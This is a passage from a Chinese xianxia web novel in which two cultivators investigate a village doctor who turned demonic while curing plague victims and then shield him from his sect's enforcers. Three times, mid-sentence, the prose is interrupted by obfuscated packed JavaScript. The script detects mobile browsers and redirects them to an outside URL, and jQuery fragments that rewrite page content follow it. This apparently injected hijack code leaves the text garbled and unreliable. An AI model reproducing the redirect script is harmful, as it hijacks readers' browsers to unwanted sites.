“还没想好,见机行事?” 见机行事……“如今咱们还不知道魏宁的深浅,还是该拟个计划才好。” “就因为不知道他有什么底牌,所以才没法计划啊?”苏晴沄见他还有些迟疑,自信地拍了下他的后背,“放心吧,要相信队友!” 你队友可是化神呢! 第二天一早,西九岭谎称去镇上买酒,然后绕了个圈子潜伏在了魏宁家附近。他不知道苏晴沄要如何引开魏宁,只能提前做好准备。 日近晌午的时候,小桃一脸慌张的跑来,还没进院就高声喊着:“神医叔叔!神医叔叔!快救人啊!” 魏宁开门的时候,小桃刚跑进院里。他依旧是那一身白衣,脸上的神情却比之前郑重了许多,“怎么了?” 小桃没有停下步伐,边跑喊:“大姐姐被蛇咬了!”然后直接跑上去抓住了魏宁的衣角,“快!神医叔叔,快去救大姐姐!” 魏宁一听是被蛇咬了,连忙拨开小桃的手,“我去拿药箱!”一进一出的功夫,他便背好了药箱,抱起小桃跑了出去。 暗处的西九岭心头也是一惊,被蛇咬?叫了魏宁肯定不能假装中毒,究竟是什么蛇?魏宁来不来得及? 他很想跟过去,但想起“酒夕”那句“要相信队友”,还是忍住了。 另一边,苏晴沄以金丹修为封锁经脉后就开始了原地等待。毒蛇确实是林子里的,不过是她趁小桃不注意主动招惹的。中毒也是真的,以金丹修为暂时压制没有问题,就算魏宁无法及时赶到,她一个化神也死不了。 不过魏宁来的很快,看到小桃被他抱着,苏晴沄就明白如此迅速的原因了。看来这位神医虽然讨厌他们,但医德确实不错。 小桃老远就喊着:“大姐姐!我们来啦!” 苏晴沄坐在草地上对她回以微笑,“放心,姐姐封了经脉的。”说完指了指伸直的右腿小腿,在那旁边的土地上有个倒置的马头符号,是她等待期间画上的。 魏宁看了她一眼,然后放下小桃、说了句失礼,抬手轻轻挽起她的裤管检查伤口。他肯定看到了那个符号,却没有丝毫反应。 苏晴沄能够清晰的看到他的侧脸,以及后脖颈上渗出的汗珠,确实不认识那个符号。 小桃蹲到旁边咦了一声,指着符号问:“大姐姐,你画这是什么呀?” “是个马头啊,像不像?” 苏晴沄这么回答的时候,魏宁有些讶异地看了她一眼,似乎之前以为地上是小桃的涂鸦,没想到是她画的。 但也仅仅是一瞬间的讶异,神医的视线就回落在了伤口上。那周围的皮肤已经发紫,但因为封了经脉,并未继续扩散。 “是什么蛇?”魏宁问她。 她还没开口,小桃就抢先答道:“是绿环王!” 魏宁听后点了点头。这是附近山林常见的一种毒蛇,虽然毒性很强,但因为是常见的品种,所以有现成的解药。 他将解药递给苏晴沄,有些意外地看到对方毫不犹豫地吞下,不觉对眼前人有了些改观,虽然这人怀疑自己暗中为非作歹,但至少愿意相信自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12866519|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的医德。 他微微点了下头,说道:“一刻钟后毒素便可清除。” 苏晴沄道了声谢,转头看向蹲在自己腿边一脸忧心的小女孩儿,“小桃,能不能帮姐姐找个粗点的树枝来做拐杖?” 小桃领了任务,立刻热心地跑进了树林。 苏晴沄则看向面前的神医,“村里人都没受到魔气的侵染。” 魏宁露出一个不屑地笑,似乎在说:就知道你们住下是为了查这个。 苏晴沄认真的看着他:“你为什么要留在这里?” “治病救人。” “去镇上能救的人更多。” “五年前这里的病人最多。” “听说你一旬时间就解决了那场疫情,没道理停留这么久。而且你到黎村时宣称自己是药王弟子,此事早就传开,药王谷必然会得到消息,按理说你该逃去别处才对。” 魏宁不知在想什么,视线盯着地面上的一点,却似乎什么也没有看,声音亦是平静无波:“被抓回去也没什么不好。” “被抓回去不就不能治病救人了吗?”这可与你方才说的矛盾啊。 可她没有再听到回答,魏宁只是一动不动的盯着地面出神,不知是不想回答还是不能回答。于是她换了个问题:“我们到的那天,你似乎是用魔力给那位小姐看的病?” 魏宁迟疑了一下,然后开口道:“那是我自创的功法。” “功法?你靠魔道功法给人治病?”灵光一现,她想到了化疗,“你用功法杀死患者体内的病毒?居然没有破坏正常免……”疫系统,“经脉循环?” 魏宁有些惊叹地看向她,“阁下竟然对此道有所研究,”这是他第一次对苏晴沄使用尊称,眼神中也透出了几分敬佩的味道,“起初我是打算创造一种能够杀死病症的功法,不用区别病症,只要消灭引发患者生病的物质即可——我称之为病气。 但正如阁下所说,我很快就发现,杀死病气的同时也会破坏正常的经脉运行,如此一来,虽然原本的病情得到治愈,但却会造成新的病痛。” 说到此处,他停顿了一下,似乎有些犹豫,“阁下之前说过自己略通医术,可是做过此类尝试?” 苏晴沄想了下,觉得用自己所了解的现代医学常识对付一下也不算骗人,“不是我……是见一位大夫做过,看着手法复杂、消耗甚大,而且杀敌一千自损八百,治疗过程中很容易出现并发症。” “并发症?” “呃……就是旧病还没痊愈,又有了新的病痛。”苏晴沄见他眼中透出了学者追根究底的光芒,决定早些结束这个话题,“具体的我也不太清楚,只是看过一次而已。当时是个不治之症,那位大夫说若非如此也不会使用这种有损自身的方法治疗,虽然能够续命,但患者身体变得很虚弱,稍有不慎就会染上疾病。” “是吗,”听她说不是自己的实验,魏宁有些失望,转而又露出自嘲的表情,“还以为我是第一个想到这种方法的医者,原来是坐井观天了。” “可我看你治疗的患者并没有后遗……那种情况,你是想到改善的办法了吗?”直觉告诉苏晴沄,这定然与他入魔有关,“如果方便告知,我可以转告那位大夫,这样也能救更多人。” 听到她的话,魏宁脸上现出苦笑,“我确实想出了办法,但却不能让其他医者效仿。” “为什么?” “因为那是自毁之道,”他望向远方、声音怆然,“入魔之道。” 果然! 苏晴沄想要进一步追问时,小桃拿着树枝从林中跑了出来,而魏宁也一言不发地转过了身。 刺目的阳光下,他脊背紧绷如拉满的弓弦,仿佛随时都可能崩断一般。 24. 神医的脸 “入魔之道?” “嗯,”苏晴沄点了下头,“他应该是为了研究医术才入的魔。” “创造出可治百病的功法就是他的欲望吗?”西九岭若有所思。 “真的有人会为此而入魔吗?”苏晴沄觉得这实在太戏剧化了,那可是医生啊,难道不是最该明白这世上没有医治百病的方法吗? “你知道李琦为什么会有那样奇怪的审讯手法吗?” 苏晴沄不解地歪过头,怎么突然说起李琦了? “你知道天赋吗?” “知道啊,你们的掌门就是天赋梦见,所以才能习得梦见之术的。” “不错。”西九岭点头肯定,“因为觉得李琦审讯的手法很奇怪,所以我就问了下廖辰……长老,他说那是李琦的天赋。” “天赋?”苏晴沄微微睁大了眼睛,“能炼出让人痛不欲生的丹药吗?” “不,他的天赋是改变药性。虽然是用正确的药材以正确的手法炼制,但在成丹的一刻却会变成完全不同的丹药,这就是他的天赋。” “居然还有这么古怪的天赋,”苏晴沄想起李琦那张大圆套小圆的脸,觉得这古怪的天赋还真跟他有点儿相配,忍不住调侃道,“倒是成就了一代审讯高手。” “遗憾的是,他毕生的梦想是行医救人。”西九岭不禁无声叹息,“李琦进入穹山后便拜在睿秀峰下,一心只求丹道,却被告知自己的天赋终生不可能成丹。” 苏晴沄微微张开了嘴,却一个字也说不出来,这天赋对一个励志成为医生的人来说简直是噩梦。 “所有人都劝他放弃,但他没有。”西九岭眼中流露出一丝赞赏,“如果千蛛草的药性变成了月芷,那么最初使用月芷就好了。他就是那么跟温长老说的,也因此被留在了睿秀峰。即便只能在审讯的犯人身上试药,他也没有放弃,他励志要写出一套自己的丹方。” 苏晴沄彻底说不出话了。丹方是上万年来无数丹师的经验积累而成,仅凭一己之力全部推翻、从头再来会是如何艰辛?而且……这可能吗? 究竟是承认无法做到、选择放弃更难,还是拒绝承认、坚持到底更难?或许她低估了人类追求梦想的信念,或许魏宁也有同样的执念…… 出神间,一只玉瓶递到了她眼前。 被迫吞下生筋复骨丹的回忆猛然跳出来,她下意识捂住嘴,“毒已经解了。”别再浪费灵丹妙药了! 西九岭挑了下眉。上次把生筋复骨丹塞进她嘴里的时候好像也是这种表情,这么不喜欢吃药吗? 想着,他微微勾起了唇角,觉得这种孩子气并不招人讨厌,“百花蜜露,涂抹之后疤痕很快就能消除。” 呃……误会,误会。 苏晴沄放下手,扯出一个尴尬而不失礼貌的微笑,双手接过玉瓶,道了声谢。只要是放进她手里,不管是护肤品还是灵丹都多多益善。 见她收下玉瓶,西九岭才又开口:“我仔细搜查了魏宁的住处,没有暗室、没有地道、也没有魔神像。” 苏晴沄歪着头道:“我在地上画了个马头符号试探,就是刘大画的那个,感觉他并没有见过。”至于魏宁觉得她幼稚的那一瞥,就不必说了,“难道他不是天神教徒?” 西九岭也微微蹙起眉头,若真如此,他们之前的思路就都要推到重来了。 看着渐渐西落的日头,两人都有些颓然,一时间静默无语。 片刻后,苏晴沄突然想起一事,“对了,我觉得魏宁的脸有问题。” “脸有问题?” “嗯,”苏晴沄回想着山林间的情景说出了自己的疑惑,“他抱着小桃赶来时后脖颈上已经微微出汗,可脸上却很干净,额角、鼻尖,都没有一点出汗的痕迹。” 西九岭略一思索便想到了一种可能,“人皮面具?” 苏晴沄怔了一下,原来这个世界也有这种东西的吗?她想了想,恍然道:“原来是这样。之前我就觉得奇怪,既然在躲避药王谷的抓捕,为什么要在黎村停留这么久?还对外宣称自己是药王弟子?简直就像是在等着被抓一样。现在看来他是换了容貌,可能也换了名字……那他说在等药王谷抓他回去就是假的了?” 话一出口她便自嘲的笑了,自己太蠢了,这种鬼话怎么能信?要是甘心被抓回去,当初又为什么要跑? 正在这时,村西头传来一阵喧哗。紧接着,三三两两的村民开始往魏宁家的方向跑去。 正在准备晚饭的李婶也听到了动静,面带疑惑地走了出来,手上还拿着擀面杖。见两人站在院门张望,便问:“出什么事了?小桃呢?” 母亲最担心的永远是孩子,不过她并未担心太久。在苏晴沄准备自告奋勇去探听的时候小桃从骚乱的方向跑了回来,红扑扑的小脸上带着愤然之色。 “娘!坏人来抓神医叔叔了!快去帮忙!”她急匆匆跑到屋前,揪住母亲的衣角就往外拉,“快走!大家都过去了!” 李婶愣了一下才反应过来,扭头想回屋放下东西,但进门前又改了主意,看了眼手中的擀面杖,下定决心般直接朝着外面走去。小桃似乎明白了什么,从院子角落里拿起了自己那把小铲子,气势汹汹的跟在母亲身后。 苏晴沄看着母女俩急冲冲的模样,急忙问了一句:“什么坏人?为什么抓神医啊?” “说自己是药王谷的。”小桃头也不回地说道,“骗子!大坏蛋!”显然她认为神医的同门是不可能来抓他的。 苏、西二人对视一眼,一齐跟了上去。 他们赶到神医家门口的时候,这里已经聚集了四、五十村民。魏宁站在最前排的中央,依旧是一袭白衣,手中没有武器。村民们则众星拱月般围在他左右,一个个拎着家伙——铁锹、耙子、锄头——五花八门。 与众人对峙的是两个白衣翩翩的修士。一个浓眉短须,看上去四十岁上下;另一个则目光傲慢,只有二十出头模样。两人都已抽出腰间的灵剑,似乎准备随时动手。 小桃试图钻进前排的时候,苏、西二人听见前头正有村民大声叫骂:“想抓神医就是混账王八蛋!不服你砍老子啊!” 后排村民纷纷高举手中的家伙叫喊:“砍啊!砍啊!” 那年轻修士出身药王谷,去哪里不是被人吹捧,何曾受过这般辱骂?当即气得面色铁青。但他也算有些休养,并不与村民一般见识,只冲着魏宁嗤笑道:“你打算一辈子躲在这些凡人的后面吗?” 魏宁还没开口,人群中就有村民叫道:“神医是俺们村的大恩人!你才是要躲在女人被窝里的小白脸!” 村民们一阵哄笑。 又有人道:“毛都没长齐的小兔崽子,应该是躲在娘肚子里喝奶才对!” 然后又是一阵哄笑。 年轻修士面色由青转白,紧握着剑柄的手微微抬了起来,似乎要忍不住发作,被身边的中年修士拍了下肩头,这才勉强冷静下来。 那中年修士看向魏宁道:“你不愿跟我们回去吗?” 魏宁沉着脸没有说话。 中年修士又道:“你应该知道,自己是逃不掉的。” 这次有村民直接怼了回去:“只要俺们在,就不会让你们得逞。想抓神医,除非从俺们的尸体上踩过去!” “没错!”立刻有人响应,“俺们的命都是神医给的,想抓神医,除非把俺们都杀了!” 中年修士依旧是看着魏宁,一字一句道:“你想要把这些人都卷进来吗?” 听他这么说,魏宁的表情似乎出现了一些扭曲,终于开口道:“能不能再给我些时间,一年、不,半年就好!” 中年修士用毫无感情的语气说道:“药王的命令是找到你后立即带回。” 魏宁的脸庞似乎更加扭曲了,也可能是那双眼中发出的疯狂之色让人感觉他的脸孔扭曲了,他高喊着:“为什么要抓我?!我没有伤害过任何人,我只是在治病救人而已!难道这也不行吗?” 年轻修士哼了一声,“做了大逆不道之事还妄言什么治病救人?” “你们不是也一直没来吗?”魏宁有些想不明白,“五年前为了救这些村民,我不得已打出了药王谷的名号,你们应该早就知道我在这里了,难道不是因为认同我的医道才没有来吗?为什么现在又来抓我?” 年轻修士看了眼同伴,后者冷冷开口:“你该知道,你所行的道是天下修士皆不可能认同的!而五年前,我们并不认为救黎村的人是你,毕竟药王弟子这种市井 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12881277|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臆想的称呼在我们看来不过是沽名钓誉之辈的妄言罢了。如今想来,那该是你甩的小伎俩吧?” 魏宁愣了一下,然后苦笑道:“我当时只说自己是药王谷弟子,谁知后来传成那样。” 原来如此。 苏、西二人暗想,这个魏宁说在这里等被抓看来也有几分是真的。他当年或许是冒着即便被药王谷发现也要冲过官兵的包围、解救村民的心理才说了那样的话,之后便做好了被抓的准备留在村里,结果一晃五年…… 中年修士冷淡地看着魏宁,“无心也好,有意也罢,都已不重要。如今我们来了,你便该走了。” 魏宁无力地垂下肩头,“我只是想治病救人而已,难道不可以吗?” 中年修士似乎不想再多废话,只干巴巴地说了三个字:“不可以。” 魏宁抬起眼,阴沉的视线从冰冷的眼底射出来,“既然如此,那就恕难从命了!” 随着他的话音落下,村民们就仿佛接收到了指令一般,纷纷举起手中的家伙缓缓向前迈出一步,摆出誓死捍卫神医的架势。 苏晴沄深知大景律,杀人者,无论凡人还是修士——斩立决。若杀害人数众多还会累加刑罚,即便药王谷也不可能公然藐视大景律。所以她觉得为免误杀村民,药王谷的人只能选择暂退一步。 没想到那中年修士不怒反笑,只是眼神冰冷彻骨,“这些人都是你救的吗?你觉得无论如何他们都会保护你吗?” 看到他的眼神,苏晴沄瞬间想到了那个秘密——他们要说出来了! 魏宁显然也想到了,他眼中出现了一瞬间的动摇,但似乎最终下定了决心,咬牙立在村民中间,一动不动。 众村民也立刻表达了他们坚定的意志,“誓死保护神医!”的喊声此起彼伏。 苏晴沄转瞬明白了魏宁为何如此坦然。 即便药王谷愿意自曝家丑,在没有证据的情况下,谁会相信一个济世救人的神医是魔修呢?即便相信又如何?这些只有数十年寿数的凡人根本不知道魔修为何物,恐怕会觉得是不是魔修不重要,只要能给自己免费治病就行了。 那中年修士面色镇定,只是猛地向前推出一掌。随着他手掌的动作,地面上卷起一阵飓风吹向人群,村民们纷纷抬手遮挡。 下一瞬,年轻修士已经站到了魏宁身前,直直刺出一剑。 魏宁没有兵器无法隔档,又不能将剑锋引入人群,只得腾空越向旁边的空地。 而中年修士仿佛早就预料到了他的行动,几乎同时向那边移动过去。魏宁还未站稳脚跟,他的手救架在了魏宁的脖颈侧方。 苏、西二人清楚的看到那中年修士手中捏着一根银针,而那银针的针尖就抵在魏宁的脖子上。 飓风过去,村民们就看到那中年修士已经挟持了神医。一时间群情激奋,纷纷挥舞着手臂高喊:“放开神医!” 看到同伴得手,年轻修士的视线扫过村民,然后露出了傲慢的笑容,“神医?让你们看看这家伙的真面目吧。” 说着,他还剑入鞘,大步走到魏宁身前、抬手一揭,一张薄薄的人皮便从魏宁脸上落入了他的手中。 一时间,空气都仿佛凝滞了,村民们瞪大了眼睛,抽气声清晰可闻。 被揭开的面皮下是一张根本无法称之为脸的存在,黑色粘稠的东西扭成一团,仿佛一堆瘤子挤压着两个眼珠和一个已经看不出唇瓣的嘴。明明被揭开了皮肤,却没有一丝血肉。有的只是溃烂、腐败、扭曲,在一片艳红的夕阳余晖中,原本神圣的白衣之上,是一颗宛如恶魔的头颅。 “啊——!” 不知是谁先尖叫了起来,然后有孩子被吓哭,有女人被吓晕,村民阵营一时间混乱不堪。 年轻修士洋洋得意地看着那些没见过世面的凡人,“现在,你们还要保护这个人吗?” 恶魔般头颅微微动了一下,那双还能视物的眼睛看到了村民的反应,他们纷纷开始后退——朝着与他远离的方向。 但这并不重要,他本也不认为这些村民应该保护他。 让他在意的是那些人脸上的表情,亲切、信任、崇敬,一瞬间消散殆尽,取而代之的是无可名状的恐惧和厌恶——他们害怕他! 25. 术法无辜,唯人用尔 “放开神医叔叔!” 随着清脆的童音落下,一颗小石子划过半空飞向揭下魏宁面皮的年轻修士,但那力量太过弱小,石子还未飞达目标便已坠地。 一直在旁观望的西、苏二人这才发现,人群齐齐后退的时候小桃并未挪动脚步,原本因挤不到前排而靠后的女童此时却成了最突出的那一个。 不,是唯一留下与药王谷修士对峙的一个。 慌乱中随着人群后撤的李婶也终于发现了女儿没有跟随自己,她面如土色地扑了过去,一把抱住女儿娇小的身躯,眼神恐惧地瞥了眼那个年轻修士,然后拼命将女儿向后拉。可小桃挥舞着手臂反抗,手中的小铲子在空中乱画。她边躲边拽、使力不便,一时间竟是拉不动女儿。 “跟娘走!”她慌忙制止女儿,声音几乎是嘶吼。 “不要!”小桃拼命挣扎,“我要保护神医叔叔!” 李婶急了,年轻修士固然可怕,但好歹是个人模样,可神医是什么?她记不清年轻修士怎么说的来着,只记得是什么魔来着……“那不是神医!那、那是魔鬼!是魔鬼!” “不!他是神医叔叔,早上我们还一起去救大姐姐的!” 苏晴沄看过去,以为她会向自己寻求印证,但是没有。那个小女孩儿无比坚定地看着她的神医叔叔,没有丝毫犹豫。 李婶的手微微抖了一下,她不明白女儿为何如此固执,虽然很想反驳,可看着女儿那双晶莹无垢的眼睛,她竟然一个字也说不出来。 小桃感到母亲放开了手上的力道,立刻顺势挣脱出来。她举了下手中的小铲子,但似乎是意识到自己太过弱小,于是转身看向母亲、眼眶湿润,“妈妈,我想保护神医叔叔。” 女儿的声音里带着哭腔,母亲的心一下子就软了。她瞄了眼那张恐怖扭曲的脸,然后立刻别开了视线,双唇微颤着说:“可是,可是那个……” 小桃抽泣着抹了把眼泪,“他就是神医叔叔,是坏人弄破了他的脸。” 是吗?是这样吗? 李婶咽了口吐沫,再次看向魏宁,但那张脸、那张脸实在是…… “要不是神医叔叔,我就死了。” 女儿的声音重重地击在了她的心头。她突然想起公公、婆婆、丈夫接连死去的那段日子,突然想起闻着西房里渐渐泛起的恶臭却不敢去看一眼的日子,突然想起了那时女儿身上出现的黑斑,想起自己紧紧抱着女儿不敢出门的日子,如果被人发现,女儿就没了,她就什么都没了…… 我乃药王弟子,速速让开!——那是她这一生所听过的最美好的天籁。 她想着、想着,缓缓伸出了手,在地上胡乱摸起了一块石头,然后扬起手臂丢了出去。石头被年轻修士用灵力挡了下来,李婶颤抖的嘴唇始终没能说出一个字,但她的选择已经不言而喻。 年轻修士的眼神变得锐利起来。一个孩子他可以忍,一个女人他也可以忍,但是…… 魏宁似乎呆住了。从小桃扔石头开始,那张黑暗扭曲的面庞就仿佛静止了一般,被粘稠黑瘤挤着的一双眼睛直勾勾地盯着小女孩,仿佛不理解为什么会是这样?而当李婶做了同样的事情,他的身体终于震动了一下,然后似乎想到了什么般猛地嘶吼起来:“走!不要管我,走!” 那双眼中的阴沉已经消散不见,取而代之的是焦急。对他而言,这世上只要还有一个人不怕他,就够了。 拐杖敲击地面的声音突然插入进来,接着是一阵咳嗽。 一个驼背老妪出现在众人的视线中,她走走停停,不时扶着拐杖捶两下后腰。短短十几米她却走了近一盏茶的功夫,终于停在小桃母女面前的时候咧嘴一笑,露出残缺不全的一口黄牙。 “张大娘,你……”李婶终于找回了自己的声音,她想说你岁数太大还是回去吧。 可张大娘却摆了摆手,“嗳,老婆子来晚了,神医还没被带走吧?”说着,她转身看向已经面目全非的魏宁。 “嗯。”李婶抬眼看向魏宁,这是她今天第一次正视那张脸。既然决定支持女儿,她就不会逃避,而且现在再看,她觉得那张脸也没那么可怕的了。 年轻修士几乎要竖起了眉,小孩儿、女人,现在又来个老太太,但凡有个能揍的他也不至于憋屈成这样了。他抬起手,用剑尖指着魏宁的脸,说道:“老人家,你仔细看看,这人真是神医吗?!” 张大娘笑了,“老人家我现在浑身上下最好使的就是这双眼睛!神医治好了我的眼睛,我自然认得神医!” 小桃仰起头,眼中有一瞬间的光,她就知道自己是对的! 年轻修士只觉得一口气憋在胸口,不上不下、难受的要命。 张大娘又道:“神医救了黎村,黎村就不能忘了神医。忘恩负义、卸磨杀驴,那是要遭天谴的!是要断子绝孙的!”说到这里她咳了一阵,“你们怕死,老婆子不怕,反正也没几年活了,今天就拼了这条老命,报答神医的恩情!” 说完,她用手中的拐杖狠狠敲了下地面。那声音振聋发聩,一瞬间敲到了所有黎村人的心底。 “对,要是不管神医了,俺们还能算人吗?!” “哪儿有魔鬼会给人看病的?肯定是那两个王八蛋动了手脚!” “没错!之前他们就骗俺说是来找神医叙旧的,就是俩骗子!” “神医救了俺们,俺们要保护神医!” 村民们一个接一个重新站到了前方,把小桃母女和老人围在了中央。或许是良心战胜了恐惧,或许是认定两个修士用了障眼法,又或者只是单纯不想输给老人和孩子。不管怎样,他们开始承认一个事实——眼前这个面目全非的人就是当初那个将他们从疫情中拯救出来的神医。 苏晴沄稍稍松了口气,如果一个医生不求回报的为患者治疗五年,最后患者却将他视为恶魔,那就太可怜了。 忽然,她察觉一道视线投了过来,抬眼望去,正对上中年修士带着警告意味的目光。她不禁微微扬起了唇角,原来药王谷的修士一直都注意着他们的动向。 她传音给身边人:要出手吗? 西九岭回复的很快:既然魏宁与天神教无关,那咱们就没道理妨碍药王谷清理门户。 她微微怔了一下,旋即点头:也对,你下山就是为了查天神教的。 西九岭微微蹙了下眉,觉得这话中隐含着其他意思。但不管怎样,仙门之间互不干涉是原则,执掌天下第一仙门的他绝不能坏了规矩。 突然,村民的喊叫声中传出了一声尖叫。顺着李婶惊恐的视线,众人看到一个瘦小的身影朝着中年修士冲了过去——是小桃。 或许是感受到了众人凝聚的力量,或许是小孩子终究耐性不足,小桃突然举起了自己的小铲子向前冲去。 在众人还未反应过来之前,年轻修士已经挡在了女童的行动线路上,右手向着女童抓了过去。 ——啪! 一只纤纤玉手抓住了年轻修士的手腕,令他不得寸进。年轻修士抬眼看向苏晴沄,目光中带着些许惊疑,但更多的是怒意。 苏晴沄一只手攥着年轻修士的手腕,另一只手则拦住了小桃。小桃眨眨眼,似乎才发现自己差点儿被打到。而李婶已经冲过来一把抱起了还愣着的女儿,重新站回到人群中。 挟持魏宁的中年修士朗声道:“阁下不管是要医治何病,药王谷李肃都愿接诊。” 这名叫李肃的修士显然是将西、苏二人当成了寻医问诊的病人,如今是告诉他们不用担心没有神医,不管什么病药王谷全包了。 苏晴沄松开年轻修士的手,却没有退开,只转向魏宁道:“我只有一个问题。” 中年修士皱起了眉头,对眼前的女修没有给以回应表示不满。魏宁也没有开口,如果他的脸可以做出表情,那肯定会显得十分疑惑。 苏晴沄也没等他同意,直接问出了问题:“你的功法是不是能将病人的病气转入自己体内?” 黑暗面孔上的一双眼珠瞬间定住了,直直地看着她,然后缓缓点了点头。 “果然。”苏晴沄叹了口气,她一直在想魏宁放弃类似化疗的方式之后是如何成功的?然后就在刚才双方对峙的时候,她突然想到了心脏移植手术……“这才是你入魔的原因吗?” 一旁的西九岭微微睁大了眼,入魔的原因不是欲望膨胀或者修习魔功吗? 魏宁的声音有些苦涩:“我只找到了引导病气入体的方法,却不知该如何排除。一开始还能在灵气运转中消磨一些,可随着沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897231|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 积的病气增加,我发现我的灵气也变了……” “住口!”李肃抵在他颈上的针尖刺出了一点猩红,“你分明是道心不稳才入魔的,莫要狡辩!” 魏宁闭口了一瞬,但紧接着似乎是想抓住最后的机会说出真相一般大喊起来:“是病气沉积让我的灵力变成了魔力!身体也是那时候开始溃烂的!” 西九岭心底猛然撼动,灵力变成魔力,这怎么可能?! 苏晴沄倒不觉得怎样。病毒感染细胞然后不断分裂、复制,最终破坏整个免疫系统是现代医学常识。既然细胞能被感染,那灵气为什么不能被感染? 李肃似乎已经意识到了她的目的,冷冷问道:“你要妨碍药王谷清理门户吗?” 西九岭蹙了下眉,但没有动。他一直觉得“酒夕”身上有一种桀骜气质,虽然欣赏,但这一次他不能帮她。 不仅仅因为仙门彼此互不干涉的原则,更因为她与药王谷对抗的原因——一个魔修。不管魏宁是否伤过人,魔修就是魔修,是与正道仙门不共戴天的敌人! 苏晴沄没有直接回答,只是反问他:“敢问魏宁究竟做了什么背叛药王谷的事情?” “他入了魔道!”这女修是脑子有问题吗? 苏晴沄想了想,“但他没有伤害药王谷的同门?出谷后也没有伤过人,反而是救了许多人,对吗?” “那又如何?入魔便是叛宗。” “可他入魔是为了研究医术,并非道心不稳,只是功法尚有瑕疵。” “尚有瑕疵?”李肃皱起眉头,对她的表述感到不满,“那根本就是魔功!” “就算是魔功,那也是救人的魔功……”苏晴沄本想说药王谷身为天下第一丹师仙门,若能帮魏宁完善功法、惠及天下,岂不是件美事? 可她话还没说完就被李肃打断了,“哼!魔功就是魔功,修炼魔功就是魔修,人人得而诛之!你若想不明白,回去问你师父!” 这话说的已经很不客气,显然是不打算继续浪费口舌。他也确实没再停留,给年轻修士递了个眼色,两人架起魏宁就走。 村民们一见二人行动,立刻举起家伙准备阻拦。只是在他们上去之前,已经有人先一步拦住了药王谷修士的去路。 只见苏晴沄挺胸昂头,手中高举着一只非金非玉的小葫芦,对着两个药王谷修士朗声道:“酒夕奉画圣之命请魏宁大夫问诊。” 一句话出,整个黎村都安静了下来。 村民不知道画圣是谁,只觉得那些修士老爷间的气氛突然发生了微妙的变化,下意识都停下了动作。 西九岭不自觉地握紧了拳头,如此一说便将画圣推到了前面,纵使那古怪老头儿护犊子,回去后真的不会责罚她吗? 年轻修士面色微白,纵使他阅历再浅,也知道画圣的种种“事迹”,没想到眼前这女修竟然跟画圣有关系。 李肃面色更是难看,本以为来抓魏宁的差事就是个跑腿儿的活,当初他还不屑于干,没想到竟然牵扯上了画圣,如今倒是庆幸没让身边这个后辈自己过来。 他双眼微眯,紧紧盯着面前的女修,一字一句问:“画圣可知魏宁是魔修?” 苏晴沄重申道:“魏宁体内确有魔气,但那是因为他功法尚有瑕疵,不能因此就判定他是魔修。” 李肃双颊涨红,忍着怒气道:“以魔气运转的功法便是魔功,修魔功者即为魔修,画圣难道是要推翻修界定论吗?!” 苏晴沄毫不退让,慨然道:“有人持刀杀人,有人持刀救人,持刀的就是杀人犯吗?魏宁心在救人,使用什么样的功法重要吗?” 这一句话如重锤砸在了西九岭的胸口,无尽崖上的皓白身影猛然闪过脑海。 术法无辜,唯人用尔!——那是他当年为好友辩驳的言语。如今“酒夕”也说了同样的话,虽然用词不同,但意思却是一样。 多少年了?他曾经挺身驳斥的恩师已经不在,好友却因那个洗不掉的“污名”郁郁终生,如果当年他能够说服师父,一切是不是都会不一样了…… 他听到了自己脚尖落地的声音,他听到了自己开口说话的声音,不是穹山掌门,是西九岭。 “穹山齐鹤扬奉掌门之命请魏宁大夫——问诊!” 26. 长夜之星 夜晚的虫鸣时起时歇,散去人群的村落更显静谧。弥漫着淡淡药香的院落中,魏宁静坐在木椅之上,此时的他已经换上了新的人皮面具,依旧是那张平平无奇的脸,依旧是那一身白衣。 西九岭站在他身前,掌心轻轻抵在他的额头。作为驱退药王谷修士的报答,魏宁同意让他们探查自己的灵脉。 随着魏宁运转药王谷的基础功法,西九岭可以看到他体内有丝丝灵气生成,但很快,那些灵气就变成了魔气,不是被周围的魔气侵蚀,而是自己变成了魔气…… “怎么样?”见他放下手,苏晴沄急忙开口询问。 “灵气转化成了魔气。”西九岭垂手而立,一时间默然无语。 运转正道功法生成灵气,运转魔道功法生成魔气,灵气、魔气此消彼长,修士一旦入魔,体内灵气停止生长,魔气则不断增加,最终魔气杀光灵气,修士彻底入魔。这是天下仙门公认的真理。 而现在,这条真理在魏宁体内被打破了。 “所以说,只要找到将魔气转回灵气的方法就行了。”苏晴沄看向魏宁,“你那个治病的功法能不能逆过来用?” 